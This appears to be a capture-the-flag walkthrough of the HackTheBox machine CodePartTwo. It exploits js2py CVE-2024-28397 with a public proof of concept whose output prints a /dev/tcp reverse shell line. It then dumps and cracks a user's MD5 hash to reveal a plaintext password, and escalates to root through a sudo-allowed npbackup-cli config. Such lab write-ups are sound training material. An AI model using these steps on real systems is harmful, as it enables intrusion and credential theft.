I started with a standard service scan to map the attack surface:
nmap -sC -sV 10.10.11.82Scan output :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 (Ubuntu 4ubuntu0.13)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: LinuxThere are two open ports:
22/tcp — SSH (OpenSSH 8.2p1, Ubuntu)8000/tcp — HTTP (Gunicorn 20.0.4; web app title: Welcome to CodePartTwo)I added a host’s entry, so the site resolves locally:
echo "10.10.11.82 codetwo.htb" | sudo tee -a /etc/hostsI opened the site in my browser and clicked Download App
Press enter or click to view image in full size
the server returned an app.zip. I extracted app.zip locally and inspected the files: app.py and requirements.txt.
requirements.txt contains:
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74js2py==0.74 might be vulnerable, since it runs JavaScript inside Python, any user input that reaches it could let an attacker inject code.
After I explored the app and confirmed js2py in requirements.txt, I searched for known issues. I found that js2py is affected by CVE-2024-28397, which can allow a sandbox escape / unsafe JavaScript execution when used improperly.
I also located a public PoC repository for this CVE:
https://github.com/naclapor/CVE-2024-28397
I downloaded the Exploit script from the GitHub repo and adapted the payload to match the app’s /run_code endpoint.
Attacker setup
nc -lvnp 4444python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.57When the script ran it generated a base64‑encoded reverse shell payload and posted it to the target.
Join Medium for free to get updates from this writer.
Example output from the exploit script:
CVE-2024-28397 - js2py Sandbox Escape Exploit
Targets js2py <= 0.74
[*] Generating exploit payload...
[+] Target URL: http://10.10.11.82:8000/run_code
[+] Reverse shell: (bash >& /dev/tcp/10.10.14.57/4444 0>&1) &
[+] Base64 encoded: KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTcvNDQ0NCAwPiYxKSAm
[+] Listening address: 10.10.14.57:4444
[!] Start your listener: nc -lnvp 4444
[*] Press Enter when your listener is ready...
[*] Sending exploit payload...
[+] Payload sent successfully!
[+] Response: {"error":"'NoneType' object is not callable"}
[+] Check your netcat listener for the reverse shell!Shortly after sending the payload my listener received a shell.
I upgraded the shell to an interactive tty and a more stable bash session:
python3 -c 'import pty; pty.spawn("/bin/bash")'I enumerated users and shells on the box to see which accounts exist:
grep "bash" /etc/passwdOutput showed three users with bash shells:
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bashI attempted to access /home/marco but hit a permission barrier:
cd /home/marco
# bash: cd: /home/marco: Permission deniedAfter getting a shell as the app user, I looked for application data and found an SQLite database in the app instance folder.
cd /home/app/app/instance
cat users.db
# output was mostly binary/gibberish, so I opened it with sqlite3
sqlite3 users.dbIn sqlite3 I listed tables and dumped the user table:
.tables
SELECT * FROM user;Result:
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app |a97588c0e2fa3a024876339e27aeb42eI extracted marco’s password hash (649c9d65a206a75f5abe509fe128bce5) and used an online cracking service CrackStation to recover the plaintext password.
Press enter or click to view image in full size
sweetangelbabylove (recovered from the MD5 hash via CrackStation)With the cracked password I SSHed into the machine as marco:
ssh [email protected]
# password: sweetangelbabyloveOnce logged in as marco I grabbed the user flag:
cat /home/marco/user.txtAfter obtaining the marco shell I checked sudo privileges to see if any escalation paths were available:
sudo -lOutput:
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cliFinding: marco can run /usr/local/bin/npbackup-cli as root without a password. That binary is our escalation vector.
I inspected how npbackup-cli uses its config file and realized it performs backups based on a config path. By creating a modified config that points the backup source to /root, I could make the backup tool read (and dump) root-owned files.
cp npbackup.conf test.confnano or your editor) and change the source path from /home/app/app to /root (or otherwise point the backup target to the files you want to access):nano test.conf/home/app/app => /rootsudo npbackup-cli -c test.conf -b -fPress enter or click to view image in full size
I asked the backup tool to dump /root/root.txt using the modified config:
sudo /usr/local/bin/npbackup-cli -c test.conf --dump /root/root.txtThe command returned the root flag:
Press enter or click to view image in full size
I moved from initial reconnaissance to full compromise: a vulnerable js2py==0.74 (CVE‑2024‑28397) in the web code runner enabled RCE, and a misconfigured npbackup-cli sudo entry let me escalate to root. This CodePartTwo HTB walkthrough is an excellent hands‑on exercise for practicing Python RCE, dependency‑vulnerability hunting, and privilege escalation core skills for any aspiring penetration tester.